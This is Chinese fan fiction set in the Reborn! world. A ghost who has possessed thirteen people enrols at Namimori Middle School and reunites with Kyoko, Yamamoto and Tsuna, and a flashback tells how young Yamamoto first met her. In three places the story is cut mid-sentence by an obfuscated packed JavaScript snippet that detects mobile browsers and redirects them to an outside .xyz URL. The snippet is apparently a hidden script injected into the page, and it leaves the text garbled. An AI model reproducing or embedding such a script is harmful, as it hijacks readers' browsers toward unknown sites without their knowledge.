《[家教]第十四次回魂》 1. 第十四次回魂 如你所见,我是一只鬼。 虽然这很不科学,周围也没有我的同类阿飘,但我确定无疑我已经死了并且成了孤魂野鬼。毕竟心脏都被捅穿了、还被连着捅了四五六七八刀,不管怎么想都不可能还活着吧。可是我死后居然还能写下这段文字,那就说明我还能思考,既然如此,除了我是一只鬼以外,我再也想不到别的合理的解释了。 至于说我的名字。名字这种东西毫无意义啦。曾经附身在十三个人身上、短暂拥有过十三个名字,这让我有段时间总会在听到熟悉的名字的时候下意识回头,然后才想起来我已经不再附身在某人身上。这些名字当然也不属于我。 而我本来的名字,则被忘得差不多了。如果非要称呼的话,叫我Z就好。 嗯,你也好。 . 经过我严密的观察和实验,可以肯定的是,鬼是无法接触实物的。那么,我是怎么拿起笔写下这段文字的呢? 是这样的,我曾经有过十三次不大愉快的回魂经历,我跟水鬼一样试图夺取别人的身体,并且也曾短暂地成功过,但最后这些回魂都无一例外地失败了。我原本以为我要孤家寡人地飘来飘去当个默默无闻的变态斯托卡,却没想到我重生了。 我重生了!重生归来,我决定不再劝小姑子离婚,不再劝儿子好好学习,我决定左脚痛了医右脚,我决定…… 私密马赛串台了! 我重生了,重生之后我把我的仇人给杀了。 …… 嗯。没了。 岂有此理啊!!!所以当初灭我满门的仇人也只是个小喽啰而已吗!这样显得我很弱好不好!!!而且轻而易举就被我复仇成功了这让我怎么办,我甚至都已经准备好像基督山伯爵一样隐忍深沉潜伏牺牲地复仇了啊! . 好吧,一句话。总之我复仇成功了。 . 复仇成功了又怎么样,还不是要读书;复仇这种事只需要杀人就行了,可是读书要考虑的就多了。 我痛不欲生地跟着班主任走进教室,不久之前他看着我的眼神满是慈爱,大概我双亲早亡被亲戚虐待的(假)背景触动了这个中年老男人的柔软心脏,他语重心长地交代我要和同学好好相处,并且连连告诫我不要触犯学校的风纪,否则可能会有很可怕的后果。 ……规则怪谈吗这是!不能做XX事否则会XXX什么的! 普通的学校根本不会这样吧! 说来惭愧。我也陆陆续续上过几年学,知道一些学校的相关。但因为附身的身体主人年龄、阶层、学习的课程、甚至国籍都不统一,我学的东西很凌乱,很可能同时犯低级错误并解答高级问题。举个例子,你问我市面上的子弹型号优劣对比我能说得头头是道,你跟我说那什么方程式换位运算我只能说sorry啊讲点人话。如果非要论我的学业水平,那么大概是小学肄业。 ……不要啊,小学都没读完你让我来读国中!有没有搞错啊! 我本来想跑路的,但负责抚养我的琴子奶奶说我必须来上学。 唉。 我不能殴打老人家,更不能一走了之。重生的那个月我翻窗远渡重洋去杀人这件事给琴子奶奶留下了心理阴影,从此我一想搞点出格的事她就开始捂胸口摸她的速效救心丸。 …… 让我一个小学都没毕业的来读国中,这速效救心丸该给我吃吧!!! · 班主任让我自我介绍。 这可如何是好呢……这可如何是好呢。刚才已经自我介绍过一遍了吧。再来一次会被说水字数的。 我垂头丧气、无精打采地在黑板上写下现生名字:“我是朝暮雪。喜欢……喜欢……嗯。请大家多多指教。” 出门前琴子奶奶嘱咐过我自我介绍的方式。首先说名字,其次是兴趣爱好,接着可以说说自己不喜欢的东西,最后是“请多多指教”。 但我没什么喜欢的东西,也没什么讨厌的东西。 憋了半天讲出来的东西就像是干瘪的黄瓜,失去了引以为傲的所有优点,变得干巴巴且毫无吸引力。“好无趣……”“就这样?没了吗?真奇怪啊。”原本略有期待看向讲台的学生们纷纷失去兴趣低下头,我也走了下来,坐到了自己的座位上。 顺带一提,我觉得这个班级蛮熟悉的。 · 我的座位被安排到了窗边。 班里的座位是按照受欢迎程度来排的。以我敏锐的观察力来看,班级明星坐在靠中的位置,方便同学下课时凑过去聊天;无名小卒坐在角落里,要么睡觉要么浑浑噩噩。 而我对我的位置很满意。虽然它也接近角落,但它靠窗啊!我一只手支在窗台,摆好pose看向窗外,那什么,忧郁女神有没有! “呼——咻——呼——咻——” 等等啊,谁在我后面煞风景地打呼噜啊! 我凶神恶煞地转过了头。 · 好吧,也不算打呼噜,顶多算是睡觉时过分均匀的呼吸在我耳边放大了。毕竟班主任完全没发现这里有个睡得满脸口水的家伙。 我面无表情地看着他,用迫人目光把他逼醒了。 只见褐发少年在杀气之中突然打了个激灵,无意识往下靠的脑袋猛地拔升,与此同时他整个身体都被牵引,“嘭咚!”一声,桌子被他的脚勾起,随着他整个人一起四仰八叉地倒下。 他从地上爬起来:“诶——?!诶?痛痛痛痛……” 我:“……?” 好美丽的学习状态,我居然是和这样的家伙在一起上国中吗。 琴子奶奶我要退学!!!退学啊!!! · 眼看班主任靠近,我赶紧把脑袋转了回来。 不出意料,后面的倒霉蛋被班主任揪着狠狠训了一顿。“不学上进”“上课居然敢睡觉”“之前的上进都是假的”之类的话,把他的脑袋越压越低,教室里的窃窃私语也逐渐变得肆无忌惮。 “之前居然还觉得废柴纲有过很帅的时候……所以说果然是错觉吧。” “其实他之前有一段时间人挺不错的吧?” “但还是很一般啊。上课睡觉的时间倒是变多了。” “……” 在嘈杂的背景音中,我把手臂搭在窗台,看向窗外,目光悲伤地摆好了pose。 忧郁女神,再上线! · 根本听不懂。 就算我是忧郁女神也听不懂。 班主任到底叽里咕噜在讲什么。听不懂啊。天书吗难道是! 我两眼冒金星,下课铃一响,就咚一声面朝下砸到了桌子上。 如此神经质的行动理所当然吓跑了不少腼腆的日本人。再把脸抬起来时我满脸面无表情,又让想靠近的几个女生顿住脚步。 ……等等,不要顿啊!!!我想和女生贴贴! 或许是我心里的呐喊太过悲壮,冥冥之中被听到,居然真的有一个女生走了过来。 “朝暮同学,我是笹川京子。欢迎来到我们班,以后请多多指教喔!” 她主动向我伸出了手。 等等,这个感觉好眼熟。 这个名字好耳熟。 笹川京子…… 等等,等等啊!我猛然抬头,少女褐色的温润的眼睛是如此得熟悉。 是京子啊! · 我说过了吧,我曾经回魂十三次,十三次无一例外地最终都失败了。 但每一次回魂时,我也不是没有过短暂的成功。我从只能附身在身体之中看世界、和身体主人斗嘴,转变到能够短时间地操纵身体,这到底是个什么原理我也不清楚。但我确实曾经少有地与人来往过。 京子就是其中一个。 随着魂魄离开身体,我对附身的记忆逐渐模糊,但还记得曾经握住她的手说“我会回来找你”。她的眼睛在夜色中闪闪发光,她说好,我会等你。 笹川京子。我将这个名字记得清楚,虽后来记忆因为有段时间不见而逐渐向下沉,但现在,它被我从记忆中猛然翻出。 京子啊——! 我一把握住了她的手,涕泗横流:“请多指教!我们要当一辈子的好朋友!” · “诶……诶,”她呆了一下。 很快反握住了我的手,说,好啊。 “那我们现在是朋友啦,”她弯着眼睛说。 · 京子就算不是神仙,至少也是来救我的菩萨。 课间时间,她把我介绍给其他同学,俨然是要帮助我融入这个班级的意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748989|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 其实我没兴趣认识那么多人啦……尤其是青春期小鬼头,脸上冒痘头上冒油,怎么看都觉得有点污染环境了诶。 好在京子也意识到我的兴致不高,所以向我介绍的都是班里的女同学。 “啊,这是奈美,化妆很厉害喔!” “我是佐藤奈美,很高兴认识你!” “这是小林原子,语文超级好,大家偶尔会一起开读书会~” “你好你好……” 认识完班里的女生之后,能感觉到环境友好度提升了10。京子告诉我还要介绍我两个男同学,“一个是学校的大明星,一个是我……嗯,我的朋友。所以私心希望阿雪也能和他成为朋友哦。” 阿…阿雪……这个称呼让我晕乎乎的。直到被带到一个男生面前,我才猛地回神,看着他向我伸出手。 “哦哦,新同学!欢迎欢迎!我是山本武,有需要的话可以随时来找我喔!” · 山本武这个名字,我也蛮耳熟。 · 但我横想竖想也没想起来在哪里听过这个名字。一般而言造成这样的情况的有两个原因,一个是我脑细胞退化,一个是所谓的耳熟只是错觉。 我怎么可能脑细胞退化呢!所以果然只是错觉吧!我爽朗地伸出手和他上下握了握:“朝暮雪。请多指教。” “……诶。”等等。 我吸了吸鼻子:“寿司……酸的?……是醋饭。” 我露出了犀利的眼神:“是醋饭的味道!山本同学难道带了寿司上学吗?” “啊。” 他愣了一下,慢慢松开了手,有些不好意思地挠了挠头:“居然被发现了。很明显吗?这两天一直在家里练习制作寿司的技巧,可能是那个时候沾上了味道吧。” 原来如此,寿司学徒啊。 我随口问:“是帮家里的寿司店打下手吗?”不知为何我对在寿司店中打工这件事接受良好。 他回答:“虽然家里是开寿司店的,不过平时老爸不会让我干活的啦,他嫌弃我笨手笨脚。” 他不好意思地笑了:“只是这几天,正好是我和某个人约好的纪念日。我说好了要给她亲手做寿司吃,所以努力练习。” · 原来如此!那什么青梅变天降的剧情! 年幼时我与青梅两小无猜关系密切,却因搬家/外仇/车祸等等等原因而被迫分开。分开之前我们勾住小拇指起誓,“次郎!我一定会记得你的!”/“美和,我一定会做出你喜欢吃的寿司!”两眼泪汪汪的约定之后我们分开十多年。 十多年后我已经忘记了制作寿司的原因,只是每年都在这个时候制作一贯寿司。直到有一天,我的店中来了一位客人,她吃了我做的寿司之后流下眼泪……我们握住了彼此的手。 “次郎!” “美和!” …… 一定是这样!没错了! 我的眼神更加犀利。 为了表达我对此举的赞同,我开始胡言乱语:“真是美好的约定啊!山本同学能够履行约定实在太了不起了!说起来我以前也和别人约定好了吃他做的寿司什么的,不过……” 不过……不过…… 诶。 死定了,我露出了惊恐的表情。 我有跟谁约定好这种事吗?有吗?没有吗? 我的脑细胞难道真的退化了吗?! · 大概是我的表情太古怪,面前的黑发少年顿了顿,笑着问道:“不过什么?” 我仰天长叹道:“不过这想必是不可能实现了。那已经是很多年前的事,恐怕他已经忘光了吧。” 其实我也忘光了。我真的和人约定好要吃对方做的寿司吗?有吗?还是没有? 算了,当鬼久了我领悟到的最大的道理就是别追究。我释怀道:“倒是山本同学你很幸运呢,现在还能够履行约定,实在是太好了。” “……” “…………”他没有回答。 在静得诡异的气氛中,我终于察觉到哪里不对劲,抬眼看过去。 只见本挂满爽朗笑容的脸此时笑意荡然无存,好像被我戳到了伤心处一样,少年沉默着一言不发,眉骨在他脸上投下阴翳,我几乎看不清他眼中的神情。 2. 负心人…不对,负心鬼 发生了什么。 啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊为什么我总是在不合时宜的时候说出不合时宜的话! 我内心发出呐喊,然而当鬼还教给我一个深刻的道理那就是视而不见能够避免大部分的麻烦。 于是我冲他点了点头,假装没察觉他身上的异状,拉着京子离开。 “山本同学,快上课了,那我们先回座位去了喔!” 我们回到了座位上,出乎意料的是,京子所说的称得上她朋友的男生正好是我座位后的棕毛。 他正摸着脑袋,满脸垂头丧气,不知在想些什么。京子出声的时候把他吓了一大跳:“呜哇!是谁……啊,是京子啊。” 他抬起头来,眼神躲闪了一下,似乎不太敢看京子,于是将目光转移到我身上:“是新同学啊……你好。我是、沢田纲吉。” 我歪了歪脑袋。 · 死定了!沢田纲吉这个名字我居然也觉得很耳熟! 难道我在什么时候失去了一大段记忆吗?!所以是那种霸道总裁带球跑里面失去记忆的小白花女主,又或者失去记忆之后沦为废柴的凤傲天剧情?! 我再一次惊恐地在心里呐喊了起来。 接着我想起来我曾是一只鬼。严格来说现在似乎也只是鬼+□□的集合。 惊恐个屁啊! 没事了,没事了。 我握住了他的手:“你好你好,我是朝暮雪。” 他心不在焉地和我握了握,目光呆呆地落在我身上,眸光颤动着,不知在想些什么,一时间又神游天外。 正好上课铃声响了,我和京子分开,重新上起课来。 · 放学的时候,京子要参加社团活动,而我转学过来,还没来得及递交入社申请,我们告别分开。 说起来,我没有参加社团活动的欲望。在上学之前我粗略了解过这项制度,排球社、篮球社、围棋社、烹饪社……诸如此类的社团,大多以人与人之间的关系为联结,让人感到畏惧。顺便一提它们对我而言也有点幼稚了,我更擅长的团伙活动是杀人而不是杀鱼。 我琢磨着要不然加入放学回家主义结社好了。 · 坏消息,学生会的人告诉我没有放学回家主义结社。 好消息,如果我不打算得到很高的绩点学分,我可以不参加任何社团。 “但好一点的高中都不会只看偏差值录取学生,所以只靠学习上的分数是完全不够的。如果你不知道选什么社团好,推荐你去篮球社或者舞蹈社……”学生会的人侃侃而谈。 我果断拒绝了。 脸上甚至露出幸福的神色。 终于……终于让我找到了敷衍琴子奶奶的借口了吗! 国中已经很勉强了,我是绝对不会读高中的! 我走出了学生会办公室,什么社团也没报,深藏功与名。 · 我终于理解班主任说的“不要违反风纪”是什么意思了。 走出校门的时候我看到一群飞机头分列路的两边,神色肃穆。学生们战战兢兢地路过他们的视线,如果不是没有人把口袋里的钱上交,我甚至会以为并盛中学的纪律已经差到了这种程度:被小混混堵上门了啊!!! 我观察了一会,意识到他们隶属于风纪委员会,应该是在维持纪律。至于头上的飞机头……大概是他们的老大品味独特吧。 顺便一提,看到这飞机头,我会不由自主地想要喊“咬杀”。这种身体带动灵魂的肌肉记忆真是太可怕,我赶紧摇了摇头,把飞机头抛之脑后。 · 我在班级里的日子过得很平淡。 虽然之前和大家打过招呼,但我并不是很热情的人,所以我和同学的关系都很一般。比较好的是京子,偶尔下课时我们会聊天,中午的时候则会在一起吃便当。 京子把她在其他班的朋友介绍给了我,黑川花。我对她也有模糊的印象,记忆里她似乎抱着手臂、在对我说些什么……? 我们见面的时候,她看着我愣了一下,转向京子:“这家伙……” 京子对我抱歉地笑了笑,对她说:“这就是我和你说起过的阿雪。” 黑川花看了我好一会儿,我差点以为她发现了什么。她一言不发,向我伸出了手。我们握了握,就这样心照不宣地建立起了默契的关系。 · 相貌平平、人气平平、似乎能力也平平。 按理来说拥有以上三条的我应该在班级中如同沙子般湮没在沙群里。 但事实完全不是这样。每隔一个月,我就会受到一次全年级瞩目——这种瞩目甚至是光明正大的。 “……” 我抬起头,死鱼眼地看着墙上的月考榜。 “啊。蠢纲。”我用捧读的语气,慢慢地说,“这次居然又输给了我么。” 沢田纲吉站在我旁边,崩溃地抓着头发:“这种输……算什么输啊!” 只见月考榜的末尾,“朝暮雪”和“沢田纲吉”的名字一前一后地排列着。我是倒数第一,他是倒数第二,而这样的情况并不稳定——好吧,某种意义上来说也是挺稳定的:我们稳定地争夺着倒数第一的名次,刀光剑影,旁若无人。 · 但是我真的写不会啊!写不会就是写不会!!!不适应杀人可以慢慢磨练,射击的准头不行也可以找更多的靶子,可是国文、数学、物理——这些东西,写不会就是写不会啊!!! 考试这种东西就像是钢琴一样恐怖好吗怎么这世界上会存在这样无理取闹的东西啊!!! · 我在心里旁若无人地尖叫,表面上还装得云淡风轻好像从不在乎成绩。拍了拍沢田纲吉的肩膀,我用鼓励的语气诚恳道:“加油,蠢纲,再接再厉,也许下次你就能超过我了。” 沢田纲吉:“……” 他痛苦地嚎叫:“都说了啊不要在这种地方争高低上下啊!!!” · 放学之后,我照例一个人。 琴子奶奶去群马县拜访情人了,所以家里没有人,马上回去的话吃不到热乎的饭,只能吃预制菜。我决定先在学校里面随便逛一会儿。 然后我迎面撞上了学校的棒球队员们。 他们似乎刚刚结束训练,满头大汗、成群结队地朝我的方向走过来。我脚尖一转准备给他们让路,但没想到为首的人一眼看到我,伸出手同我打招呼:“哟!朝暮!你居然还没回家吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748990|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> ……明明他刚才还在和同伴讲话吧,从哪里分出注意力给我的?我纳闷地冲他点了点头:“嗯,因为现在回去也没有晚饭吃。” 他笑了:“所以之前一下课就找不到你的人影、是因为急着回家吃饭吗?” 少年棱角分明的脸上挂着开朗的笑容,汗水打湿了他的鬓角,夏天炽热的阳光里,他穿着还没来得及换下的棒球服,被勾勒出的身材高佻瘦削,像一支亟待出鞘的冷剑。 山本武是校棒球队的灵魂人物,这事是午餐时京子她们随口告诉我的。如果并盛中学有校园明星,那么山本武是当之无愧的天王巨星,班里的女生说他“打棒球的样子帅得像天降陨石”,然后捧着脸眼冒红心,我倒没什么感觉,大概因为我从来没看过他打棒球的样子。 平心而论,我对棒球这项运动并没有偏见,甚至隐隐约约颇有好感。但我这人实在懒得可以,棒球场离教学楼有一段距离,和校门口更是风车牛马不相及,所以我从没在课后去过棒球场。 这三个月来我与山本武的关系不咸不淡,他身边总是围满拥趸,而我么,我一般上课摸鱼看《Jump》,下课睡觉或者和京子她们聊天,我们之间的来往少得可怜。 而且第一天见面时我似乎不小心戳了他的伤心事。不知为何我总觉得微妙,于是躲着他走。 这倒是我们第一次大大方方地打招呼了。 “你们要去哪里?”我问。 “刚刚训练完,准备一起去聚餐。朝暮要一起吗?” 哇,不愧是社交达人,邀请人的时候又大方又随意!但我眨了眨眼说不,毕竟大家都不熟,在一起吃饭什么的也太尴尬了吧。你们日本人不都挺含蓄的吗 他也不勉强,笑着说好。一群人浩浩荡荡地从我面前离开,我目送他们几步,正准备走,却突然,他脱离了队伍,再一次向我的方向跑来。 “抱歉抱歉,突然想起一点事,我还有几句话要和朝暮说……你们先走吧,我马上就来!” 我听到他歉意的声音,接着是他的脚步声。他的脚步声很重,像磅礴的雨水打在草地上,草叶为此弯腰。 他在我面前站定。 “之前一直想说,但总是没找到机会……” 我有些惊讶地看着他。 他很诚恳地同我道歉:“对不起。” · 什么,我幻听了吧。 还是说我失去了某段记忆,他刚才偷偷伸脚拌我了?我摔了个狗啃泥?不然他为什么和我道歉? 在我呆滞的目光中,他自然地说下去:“第一次见面的时候好像有点不愉快,你是被我吓到了吗?因为每次找你的时候,你似乎都在躲着我走,想要和朝暮你聊天总是没能成功。” 还挺敏锐的。 我确实在躲着他走。非要追究原因,大抵是他那时候流露出来的气势太悲伤了。好像永久地失去了什么宝物的悲伤——我为这样厚重的气势所威慑,因此下意识就想要躲得远远的。 “是因为我让你不安了吗?或者是我当时的表情太凶了?” 不,一点也不凶,但我确实感到了不安。 那种负心人的不安。 ……什么负心人啊我是只鬼啊我能负得了谁!!! 3. 你是谁啊 我又开始在内心呐喊,而面前的少年在我的沉默中误会了什么,他深吸一口气,下定了决心似的:“其实,我当时……” 不我不想听,我不想听完之后被一脚踩死然后听到桀桀桀的笑声说你知道得太多了留你不得了。 他自顾自地说了下去:“……那时,你说和你约定好的人已经不会出现了。而事实上我和你相同。” “所谓的约定,我也不能履行了。虽然每年还会在这个时候练习握寿司的技术,但我很清楚,那个说好要吃我做的寿司的人却不会再来……” 他垂下眼睛,短促地笑了一声:“因为想到了这一点,所以那个时候忍不住迁怒朝暮同学了。” 我怔怔地看着他。 怎么回事,居然真的有这种约定吗。 为什么我会觉得很心虚。 · ……为什么我会觉得很心虚!这不对吧老天这不对吧!又不是我和他约定的! · 内心呐喊着,表面不动如山,我干笑道:“原来是这样吗……” 说点什么啊死嘴快说点什么啊! 说不出来。 安慰人的话就像作业一样,说不出来就是说不出来,写不出来也就是写不出来。 好在他并不需要我搭话,自顾自说完了之后,少年重新扬起了笑脸:“因为怕被误会所以纠结了很长的时间,一直没有下定‘和朝暮同学说清楚’的决心,以至于糊里糊涂三个月时间就这样过去了。” “本来刚才也会这样平淡地过去吧……但是在离开的时候,回头看了一眼朝暮你。” 他叹息着说:“然后,那瞬间,心里生出了‘无论如何也不能再这样继续下去了’的想法,所以我站到了你面前。” · 鬼使神差地回头,越过人群看到站在树下的少女。 她就在树下平静地看着他靠近、与他平淡地寒暄、最后毫无动容地看着他离开。 分明孤身一人,像是永远不会为孤独而伤怀。 偏偏——偏偏—— 被同伴们簇拥着离开的山本武猛然顿住了脚步。 他却是个会为了“一个人”而伤怀的人。 而引起他这种仿佛触及人类哲学的伤怀的人,他平生所见,寥寥唯一。 直觉这种东西来得过于古怪,突如其来,却蕴含着莫大的动力,于是他转过身,向她走去。 他说:“我们可以做朋友吗,朝暮?” · 我被直球击中了。 灰头土脸的那种。因为对方太过直白,我连糊弄过去的机会都没有,只能回答Yes or No。 我本想拒绝,可他好像察觉了我的想法,在拒绝脱口而出的那瞬间,他露出了可怜兮兮的神色。 我:“……” · 我们握了握手。 “新朋友,请多指教。” “哦哦,阿雪,请多指教!” · 不要突然就跳过了剧情啊!!!怎么突然就开始互称名字了!!! 不过哼比自来熟人设吗我不会输的!我面不改色:“阿武,请多指教。” 他脸上的笑意更深了。 · 这天之后,山本武下课后总会来找我说一些近来的新闻,或者聊一些不着边际的天,放学的时候他还会邀请我去看他的棒球比赛。 大多数时候我都会拒绝。 废话,我都自成回家主义结社一派了,怎么可能放学之后留下来。顺便一提最初他课间来找我的时候我也感觉苦恼:随着他身影的靠近,班上男女都有的杀人目光会准时准点落在我身上,让我怀疑我是块油锅里的天妇罗,大家的目光把我炸得滋滋响。 不过后来我转念一想,既然别人看我不爽,那我就更不能让他们高兴了。我干脆和山本武大谈特谈小镇上校园内的趣事怪闻。 “夜晚自动演奏的钢琴,第十三节消失的阶梯……这种传闻一听就很老套啊。” 这么多年过去了,“七大校园未解之谜”的内容还是大同小异。是让人听了会吐槽说我上辈子就听过这个传闻了的程度。 “因为大家就是很喜欢这样的传说嘛,”他挠着头笑了,“不过我倒是有一个新奇一点的传闻。阿雪听说过附在人身上的游魂吗?” 你说这个我可就来劲了。 毕竟这可是我的老本行。 “听说过,据说他们大多数都是冤死鬼,想要找替身,所以才会附身在活人身上喔。” 我吓唬他:“没准有一天会附身到阿武身上,哄骗你交出身体之类的。你可一定要小心。” 明明只是个白烂的聊天话题,他的注意点却偏离了,脸上露出了思索的表情,隐隐看还有一些悲伤意味:“居然是……冤死鬼吗?这个观点,我是第一次听说呢。” 应该算冤死鬼吧?我不大确定地回想了一下,接着肯定地点了点头。 某种程度上我确实挺冤的,因为时年七岁被捅死的我被父母隐瞒了我们是杀手世家的事实——他们本打算将我作普通的孩子养大——被捅的时候我刚刚在外面疯玩回来,手里举着风车跑进门去大喊母亲,想给她看我的新收获。我什么都不知道。 母亲没回应我,她倒在地上死了,手里常握着的花在一旁散落一地——她平时挺喜欢插花——取而代之的是枪,想必她经过了一场厮杀,可惜失败了;父亲躺在她旁边,握着她的手。 举着刀的男人回过头来看到我,转移步子向我走来。我茫然觉得哪里不对,还没反应过来,庞大的阴影就笼罩住了我。 一刀两刀三刀四刀五刀六刀七刀……最后一刀捅了一半没捅进去,被我肋骨卡住了。对方显然不太了解儿童的生理结构。 …… 风车上溅满了血。数不清的血。 如此,以客观事实而言,我死得很冤,叫我冤死鬼完全没问题。 但我附身的时候,总觉得如果说我是个冤到头的家伙,对方很可能会察觉我是想要谋夺他的身体的事实。 所以我一般都撒谎:“我的灵魂暂时离开了我的身体,在你这里住一会儿。” 直到意识到我不可能夺得这具身体的时候,我才会恼羞成怒,说出事实。不过这种情况并不多,毕竟不可能夺得身体、就说明我与身体的主人再无交集,既然如此又何必再大发牢骚呢?没有意义。我往往平静地接受这个现实,此后消失无踪,寻找下一个猎物。 我对山本武说:“只有冤死鬼才会想要附身别人、想要对方交出身体。” 这我可没说慌。毕竟我只见过我这一只鬼,以我为标准,当然我说什么就是什么啰。 为了缓解气氛,我说了点俏皮话:“不过不用怕,一般来说,冤死鬼骗人的话术都很容易识破。阿武你倒也不用过于担心,把对方当成临时同伴的话,没准还能哄她给你唱安眠曲。有趣吧?” 我猜想我骗人的话术肯定很容易识破。 不然我怎么会连着失败十三次呢。谁听了不得说这只鬼骗人的手段拙劣。 …… 但不知怎么回事,他看上去更难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748991|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了。 “所以,是冤死鬼吗、”他仿佛陷入了什么过往的回忆之中,喃喃着,“嗯。话术确实很拙劣,是个傻瓜……需要听安眠曲的傻瓜。可是、为什么那个时候却没有察觉到呢……” 他再抬起头时,我看到了他眼眶中晶莹的泪水。 · 为了一个怪谈就哭泣,山本武是这样多愁善感的人吗? 我总觉得哪里不对,但我是个不爱多管闲事的人,哪怕有人在我隔壁上演夫妻大战、门还开了一条缝,我都会若无其事地走开,而不是趴在门缝边一探究竟。 我假装没有看见他的眼泪,也假装没有发现任何端倪,而是等他平复了心情之后,再一本正经地告诉他:“虽然听上去有悲剧色彩,不过阿武也不必过于在意,毕竟这世上本来就没有鬼嘛。” “不是的,”他却反驳了我,这么和我说,“这世上……” 这世上……什么? 他深深地看了我一眼,没有再说下去。 这个话题不了了之,我们重新聊起了其他的趣闻。只是他显得心不在焉,同时不动声色地、隐晦地观察我。 不知道在观察些什么,我漫不经心地想,直到上课铃再次响起,我们分开,我都觉得他的目光落在我身上,其中蕴含的情绪逐渐沉沉,仿佛某种亟待泼洒的风雨。 · 并盛町的后山是小孩不能去的地方。 这是山本武小的时候从同伴口中得知的消息。 “诶,为什么不能去?”他不解地发问。 小孩们绞尽脑汁地挤出答案:“听说后山的森林里面有怪物,会吃掉小孩的脚趾头……” “我妈妈说的是吃掉一整条腿喔!” “里面的妖怪会把小孩直接抓走,一条腿也不剩下啦。” 山本武听完了,没觉得害怕,反倒兴致勃勃。 母亲早逝,粗线条的父亲艰难而努力地抚养山本武,到底还是在细节上欠缺:夜晚时的安眠曲、为防止孩子去危险的地方编出来的怪谈、严令禁止孩子不去做某些后果严重的事……这些,山本武都从来没有感受过。 让小孩子躲在被窝中战战发抖的传言,给他带来的只是无尽的好奇。 于是和同伴分别之后,他就一个人找路,满怀期待地、蹦蹦跳跳地跑进了后山。 事实证明,后山里没有怪物。大人之所以骗小孩,是因为后山本就是危险的地方,它如同怪物一般张开大嘴,咀嚼着每一个莽撞的家伙。 黄昏时分,斜阳没入山后,树影婆娑,山本武发现自己迷了路。 被踩中的山路上的石块让他走得不稳,跌跌撞撞。 被树叶分割成千百片的月光落在地上,奇形怪状,每一只都像可怕的怪物。 他在小径上徘徊,第五次路过自己做下的标记的时候,终于按捺不住心中的恐惧,蹲了下来,抱住自己抽噎着哭了起来, 他想念家里温暖的灯光,店中谈笑的客人,还有向他招手、让他过去,往他嘴里塞一块天妇罗的父亲。 他想回家。 男孩挂着满脸泪水,心中不断冒出可怕的念头:被妖怪吃掉脚趾、吃得只剩一只腿、或者干脆整个人都被抓走—— “哇,这是哪里啊。好黑。” 这个时候,他的脑海中突然冒出了一个声音。 他睁大眼睛。 就像黑暗中突然出现的一缕天光,对方误打误撞,却将他的世界照亮得一塌糊涂。 不知来历的声音说:“你是谁啊,你在我的身体里做什么?” 4. 山本武回忆篇(一) 山本武几乎以为这是幻觉。 他呆呆地没有回复,声音等了一会儿,重复问了一遍:“喂,你这家伙怎么不说话。你是谁啊?!” 他终于如梦初醒,一下子跳了起来:“这是我的身体。这个问题应该我来问吧!你是谁啊?” “怎么可能!这明明是我的……诶?我的手怎么抬不起来了?为什么不听我使唤,我的眼睛、我的嘴巴……诶?诶?诶?” 声音惊慌地尖叫了起来。山本武一点也不觉得刺耳,相反,因这位突然出现的不速之客,他低落的心情被收拾好了,他满怀好意地帮忙分析:“所以说啊,这是我的身体。你的话,应该是魂魄吧。你会不会是被妖怪抓到了我的身体里?” 声音没有回答他,山本武却觉得自己知道了真相,“没错!一定是这样的!你碰到了妖怪,祂把你的灵魂抓走之后不知道怎么处理,就干脆塞到了我的身体里!你好可怜喔……” “是这样吗……?” 声音终于再一次出现了,听上去隐隐有些异样。虽然年仅七岁、还不太懂复杂情感的表达,山本武仍然隐约感受到了那声音强壮镇定之下的崩溃与痛苦。 置身在恐怖的森林里、迷了路、也许随时会被怪物叼走,山本武原本惶恐的心却慢慢安定了下来。他自动认领了庇护者的身份,以为对方是因为灵魂突然跳到别人的身体里而恐慌,连忙安慰道:“你放心吧!怪物天亮的时候就会消失,到时候你也会回到你的身体里去的!所以我们只要等到太阳升起来就好了!” 其实同伴们讨论的时候没有说到“怪物天亮的时候会消失”的线索,但山本武怀着美好的愿景说出了这个谎言。 “……你说得对。也许,天亮之后,我就能够回去了。” 在他的安慰下,声音慢慢安定下来,且很快平复了心情,开始和他站到同一战线上,寻找今晚可以过夜的地方。 抛开了初遇时的小插曲,山本武发现声音的主人是个很活泼的性格。 “左边左边!那里有一个山洞,我们可以去那里住一晚上!” 山本武看向左边,果然看到了一个被月光照亮的小山洞。 “小心脚下。——哇!你跳得好远,真厉害!” 他被夸得脸颊发烫,少年有些矜持地跳过两块相隔很远的石头,开始向山洞进发。 “等等,有一根……” 声音还没说完,山本武就被一根横亘在地面的枯树枝狠狠绊倒了。 “呜哇!” 